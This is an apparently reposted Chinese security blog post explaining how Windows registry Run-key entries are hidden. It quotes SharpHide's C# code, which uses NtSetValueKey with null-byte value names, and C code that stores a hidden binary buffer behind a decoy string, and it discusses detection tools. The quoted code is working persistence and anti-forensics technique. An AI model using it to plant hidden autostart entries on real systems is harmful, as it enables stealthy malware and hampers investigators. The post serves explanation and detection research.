注册表隐藏

admin 2023年5月23日23:18:39评论47 views字数 4076阅读13分35秒阅读模式

    “擂台赛”真是压力山大!实在没有时间,更谈不上研究一些东西,看到吴总的“数字孪生XXX技术”只能膜拜膜拜!现在发现,烦闷的时候,码码字是个解压的好办法,能够暂时什么都不想了,只澄净在其中。

找一个老一点的话题“注册表隐藏”,其实网上有很多这样的文章,我也基于这些文章的基础上,来谈下我对它的认识和感受,可能也脱离不了那些文章的框框,但算是一个收集归纳,也是我对这个点的理解。

一、从工具开始

在网上搜索了下,从2019年开始,每年都有人介绍这个,还真是经久不衰。我第一反应是难度不大,大家都能上手摆弄两下,而且还很有趣。

看看最近的文章《创建隐藏注册表项的工具:SharpHide》,里面介绍到:“一个很好的后门持久性技巧,用来混淆DFIR调查。使用NtSetValueKey本机API创建隐藏(以空结尾)注册表项。这是通过在UNICODE_STRING键值名称前面添加一个空字节来实现的。”大家可以看那篇文章,也可以接着往下看。

空字节,就是“0x0000”,就是“”。对于Windows系统,”” (0x0000)会被识别为字符串的结束符,所以在使用Regedit对该字符串读取的过程中,遇到开头的 ””,会被解析成结束符,提前截断,导致读取错误。

在这个工具SharpHide运行后,有三个功能:

注册表隐藏

在注册表的Run下创建一个键值为:“keyvalue=bla.exe”或带参数的“keyvalue=bla.exe argument=arg1 arg2”;以及delete该键。

它分为一般用户和管理员权限,分别对应着HKCU和HKLM;均在SoftwareMircosoftWindowsCurrentVersionRun下面;

在源码中创建的键名是“Software”,键内容为“c:windowstempbla.exe”,当我们用程序sharphide action=create keyvalue="c:windowstempbla.exe"时,创建成功了,用regedit却看不到它的内容,并报错,阻止查看。

我们先来研究下:

 UIntPtr regKeyHandle = UIntPtr.Zero;

 string runKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run";

string runKeyPathTrick = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run";

 uint Status = 0xc0000000;

 uint STATUS_SUCCESS = 0x00000000;

if (IsSystem || IsElevated)

   {

    Console.WriteLine("n[+] SharpHide running as elevated user:rn Using HKLM\{0}", runKeyPath);

   Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, runKeyPath, 0, KEY_SET_VALUE, out regKeyHandle);

    }

   else

   {

     Console.WriteLine("n[+] SharpHide running as normal user:rn    Using HKCU\{0}", runKeyPath);

    Status = RegOpenKeyEx(HKEY_CURRENT_USER, runKeyPath, 0, KEY_SET_VALUE, out regKeyHandle);

    }

    UNICODE_STRING ValueName = new UNICODE_STRING(runKeyPathTrick)

    {

        Length = 2 * 11,

        MaximumLength = 0

     };

      IntPtr ValueNamePtr = StructureToPtr(ValueName);

      UNICODE_STRING ValueData;

      if (arguments.ContainsKey("arguments"))

       {

     ValueData = new UNICODE_STRING(""" + arguments["keyvalue"] + "" " + arguments["arguments"]);

      }

     else

     {

       ValueData = new UNICODE_STRING(""" + arguments["keyvalue"] + """);

     }

Status = NtSetValueKey(regKeyHandle, ValueNamePtr, 0, RegistryKeyType.REG_SZ, ValueData.buffer, ValueData.MaximumLength);

注意:runKeyPathTrick =SOFTWARE\”,这里有个,经过unicode后就成为了“0x0000”,这在windows里是个截断字符,后面的内容就丢弃,成为了隐藏部分,不显示。但它的值“c:windowstempbla.exe”还是存在的,写了一个显示窗体的bla.exe放在temp目录下,重启后,这个bla运行了,说明这个程序确实在注册表中的启动项了。

再注意,上面的NtSetValueKey,这是个WIndows Native API,对注册表进行创建、修改和删除等操作,这些操作,单纯的使用 Regedit 查询是查询不到的。

二、Native API

以Nt开头的都是Native API,而不是Windows API,如RegOpenKeyExA

如果使用 Native API ,则需要导入 ntdll.dll;

如果使用 Win32 API ,则需要导入 advapi32.dll;

Win32 APINative API 是有差别的。以下内容是可实现隐藏注册表的根本原因:

Win32 API中,以 NULL结尾的字符串被解释为 ANSI(8位)或宽字符(16位)字符串。在 Native API中,以 NULL结尾的字符串被解释为 Unicode(16位)字符串。尽管平时这个区别并不重要,但是却带来了一个有趣的情况,举个例子:

   当使用 Native API来构造特别的名称时,不能使用Win32 API来对其进行查询。这是因为作为计数的Unicode字符串的名称可以包含NULL 字符(0),例如“key”,这个Unicode字符串长度为4,但是在使用 Win32 API来进行查询,这是因为在Win32 API中,“key”字符串的长度为3,不满足查询条件。

之所以Regedit看不到,是因为Regedit使用的是Win32 API

用户模式调用本机系统服务是通过ntdll.dll来实现的。表面上,Win32 函数为编程人员提供了大量的API接口来实现功能,但这些Win32 函数只不过是一个API接口的容器而已,它将Native API包装起来,通过系统服务来实现真正的功能,也就是ntdll.dll是系统调用接口在用户模式下一个外壳。

三、用工具查看结果

regedit看不了,那我们怎么查看呢,用autoruns呢?截图看下:

注册表隐藏

发现不了。

还是用wke导出hive文件,再来看下:

注册表隐藏

regedit explorer查看,

注册表隐藏

注册表隐藏

注册表隐藏

发现了空字节。

本来想写个代码来查看这个键值情况,用NtQueryValueKey查询却查询不了。这个工具读取的是hive文件,所以可以读取到,看下图:

注册表隐藏

在注册表中直接查询,除非知道名字,用RegScanner,

注册表隐藏

四、无文件的注册表存储二进制

第一种隐藏技术,是针对ValueName做的处理。Fileless Malware技术,是有效的针对ValueData的内容进行处理。

这里使用的是Fileless Malware技术,但是在查看键值时,也会像第一种技术一样会提示错误,但是除了指定的可见字符外,会将其他内容进行隐藏。与第一种技术一致,该内容无法导出。

char decoy[] = "(value not set)"; ....

void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) 

{    

HKEY hkResult = NULL;    

BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);    

strcpy((char*)buf2, decoy);    

buf2[strlen(decoy)] = 0;    

memcpy(buf2 + strlen(decoy) + 1, buf, buflen);    

if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))    

{        

printf("Key opened!n");        

LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1); 

printf("lStatus == %dn", lStatus);        RegCloseKey(hkResult);    

}    

free(buf2); 

}

先看看writeHiddenBuf:

  • 将decoy设置成 (value not set)

  • 然后将我们利用Fileless Malware 处理过的buffer放在(value not set)后面

  • 可知,Regedit会自动截断,达到隐藏的效果

只要RegSetValueExA传递的decoy字符串的长度+隐藏缓冲区的长度,它将把整个缓冲区写入注册表,达到隐藏效果。


五、请求

如果有对NtQueryValueKey写出这个隐藏的空字节读取,更甚检测的代码大神,请发我学习下,感谢!


原文始发于微信公众号(MicroPest):注册表隐藏

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月23日23:18:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   注册表隐藏https://cn-sec.com/archives/1755663.html

发表评论

匿名网友 填写信息